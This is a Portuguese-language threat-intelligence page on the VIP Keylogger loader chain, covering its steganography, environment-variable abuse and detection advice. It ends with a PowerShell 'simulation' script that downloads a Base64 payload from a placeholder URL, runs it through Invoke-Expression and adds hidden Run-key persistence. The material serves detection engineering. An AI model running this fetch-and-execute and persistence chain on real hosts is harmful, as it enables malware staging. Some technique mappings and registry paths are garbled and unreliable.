SOC Prime Bias: Médio

18 May 2026 19:04 UTC

VIP Keylogger e Suas Táticas de Evasão em Múltiplas Camadas

Author Photo
SOC Prime Team linkedin icon Seguir
VIP Keylogger e Suas Táticas de Evasão em Múltiplas Camadas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

O VIP Keylogger é uma ameaça modular de roubo de informações entregue por meio de iscas de phishing, como alertas falsos de pagamento bancário. Sua cadeia de infecção depende de carregadores maliciosos baseados em VBS, JavaScript ou lote que usam ofuscação pesada, esteganografia em imagens PNG e abuso de variáveis de ambiente para ocultar estágios do PowerShell antes de lançar o keylogger final. Uma vez ativo, o malware captura credenciais, capturas de tela, conteúdos da área de transferência e senhas de Wi-Fi, então exfiltra os dados através de múltiplos canais de comando e controle. Os esforços de detecção devem focar em mudanças suspeitas no registro, valores incomuns de variáveis de ambiente e transições anormais da execução do script para cargas binárias.

Investigação

A Equipe de Pesquisa de Ameaças da Splunk revisou mais de 200 amostras de carregadores coletadas em março e abril de 2026, documentando seus padrões de nomenclatura, variantes de carregadores e o uso esteganográfico de arquivos PNG para entrega de carga útil. Os pesquisadores reproduziram o processo de desofuscação, identificaram o abuso da INTERNAL_DB_CACHE variável de ambiente e rastrearam a persistência até a chave de registro UserInitMprLogonScript . O relatório também mapeou cada comportamento observado para as técnicas MITRE ATT&CK relevantes para apoiar a engenharia de detecção.

Mitigação

As organizações devem interromper as tentativas iniciais de phishing por meio de controles de segurança de e-mail mais fortes e filtragem de URL. Os defensores devem monitorar a criação e modificação dos valores de HKCUEnvironment , especialmente entradas muito grandes ou uso da variável INTERNAL_DB_CACHE . A execução de carregadores baseados em scripts a partir de diretórios graváveis pelo usuário deve ser restrita, e o Modo de Linguagem Constrained do PowerShell deve ser aplicado sempre que possível. As ferramentas de segurança de endpoint também devem detectar injeção de processo em aspnet_compiler.exe e atividade suspeita de netsh .

Resposta

Se um indicador do VIP Keylogger for detectado, isole o host afetado, colete a memória volátil e os logs de execução do processo recente, e procure pelos artefatos de registro conhecidos, URLs de comando e controle baseados em PNG e arquivos descartados. Os scripts maliciosos devem ser removidos, as credenciais expostas redefinidas, e uma varredura mais ampla deve ser conduzida em todo o ambiente para artefatos relacionados a carregadores e mecanismos de persistência.

graph TB classDef action fill:#99ccff initial_access[“<b>Ação</b> – <b>T1566 Phishing</b><br/>Ficheiros maliciosos .vbs/.js/.bat enviados por email”] class initial_access action execution[“<b>Ação</b> – <b>T1059.005 Visual Basic</b>, <b>T1059.007 JavaScript</b>, <b>T1059.001 PowerShell</b><br/>Execução de stagers no host”] class execution action obfuscation[“<b>Ação</b> – <b>T1027.016 Inserção de código lixo</b>, <b>T1027.003 Esteganografia</b>, <b>T1027.009 Payloads embutidos</b><br/>Payloads ocultos ou disfarçados”] class obfuscation action persistence[“<b>Ação</b> – <b>T1574.007 Sequestro de fluxo de execução</b> via registo<br/><b>T1037.001 Script de arranque</b><br/>Execução no login”] class persistence action priv_esc[“<b>Ação</b> – <b>T1055.002 Injeção de processo PE</b>, <b>T1055.001 Injeção DLL</b>, <b>T1620 Carregamento reflexivo</b><br/>Escalação de privilégios e evasão”] class priv_esc action credential_access[“<b>Ação</b> – <b>T1555.003 Dados do navegador</b>, <b>T1056.001 Keylogging</b>, <b>T1115 Sequestro da área de transferência</b><br/>Recolha de credenciais”] class credential_access action discovery[“<b>Ação</b> – <b>T1596.005 Descoberta de IP externa</b> via serviços públicos<br/><b>T1016.002 Descoberta Wi-Fi</b><br/>Recolha de informação de rede”] class discovery action collection[“<b>Ação</b> – <b>T1113 Captura de ecrã</b><br/>Dados visuais do ambiente de trabalho”] class collection action c2[“<b>Ação</b> – <b>T1071.001 Protocolos Web</b> e API Telegram<br/>Comando e controlo”] class c2 action defense_evasion[“<b>Ação</b> – <b>T1070.004 Eliminação de ficheiros</b>, <b>T1070.010 Remoção de indicadores</b><br/>Remoção de provas”] class defense_evasion action initial_access –>|leva_a| execution execution –>|leva_a| obfuscation obfuscation –>|leva_a| persistence persistence –>|leva_a| priv_esc priv_esc –>|leva_a| credential_access credential_access –>|leva_a| discovery discovery –>|leva_a| collection collection –>|leva_a| c2 c2 –>|leva_a| defense_evasion

Fluxo de Ataque

Execução da Simulação

Pré-requisito: A Verificação de Pré-voo de Telemetria e Linha de Base deve ter sido aprovada.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visando gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos errôneos.

  • Narrativa & Comandos do Ataque:

    1. Reconhecimento Inicial – o atacante executa Get-ADDomain (T1016.002) para descobrir relações de confiança de domínio.
    2. Aquisição de Carga Útil – usando Invoke-WebRequest (T1071.001) o atacante baixa um DLL codificado em Base64 que implementa o keylogger (T1056.001).
    3. Estágio via Variável de Ambiente – a string baixada é armazenada em uma variável de ambiente em nível de usuário por meio de [Environment]::SetEnvironmentVariable. Esta etapa satisfaz o foco da regra de detecção na manipulação de variáveis de ambiente.
    4. Execução Dinâmica – o atacante executa imediatamente a carga útil com Invoke-Expression $env:VIPPayload (T1059.001). O keylogger começa a capturar teclas digitadas, capturas de tela (T1113) e dados da área de transferência (T1115).
    5. Limpeza – após estabelecer persistência (por exemplo, criando uma chave de execução, T1037.001), o atacante exclui o DLL temporário do disco (T1070.004) e remove a variável de ambiente para reduzir as pegadas forenses.
  • Script de Teste de Regressão: O script abaixo reproduz os passos exatos e gera a telemetria que a regra Sigma espera.

    # Simulação VIP Keylogger – PowerShell
    # -------------------------------------------------
    # 1. Baixar uma carga útil fictícia (string codificada em Base64)
    $payloadUrl = "https://raw.githubusercontent.com/example/dummy-keylogger/main/payload.b64"
    $b64Payload = (Invoke-WebRequest -Uri $payloadUrl -UseBasicParsing).Content.Trim()
    
    # 2. Armazenar carga útil em uma variável de ambiente em nível de usuário
    $envVarName = "VIPPayload"
    [Environment]::SetEnvironmentVariable($envVarName, $b64Payload, "User")
    
    # 3. Decodificar e executar a carga útil via Invoke‑Expression
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64Payload))
    Invoke-Expression $decoded
    
    # 4. (Opcional) Persistir via chave de execução – demonstra T1037.001
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Set-ItemProperty -Path $runKey -Name "VIPKeylogger" -Value "powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"Invoke-Expression $env:$envVarName`""
    
    # 5. Limpeza – remover a variável de ambiente e a entrada da chave de execução
    Start-Sleep -Seconds 30   # permitir que alguma atividade seja registrada
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    [Environment]::SetEnvironmentVariable($envVarName, $null, "User")
  • Comandos de Limpeza: Execute estes comandos para retornar o sistema a um estado limpo após o teste.

    # Remover a variável de ambiente criada para o teste
    [Environment]::SetEnvironmentVariable("VIPPayload", $null, "User")
    
    # Excluir a entrada de persistência da chave de execução, se existir
    $runKey = "HKCU:SoftwareMicrosoftWindowsCurrentVersionRun"
    Remove-ItemProperty -Path $runKey -Name "VIPKeylogger" -ErrorAction SilentlyContinue
    
    # Limpar qualquer entrada residual do histórico do PowerShell (opcional)
    Clear-History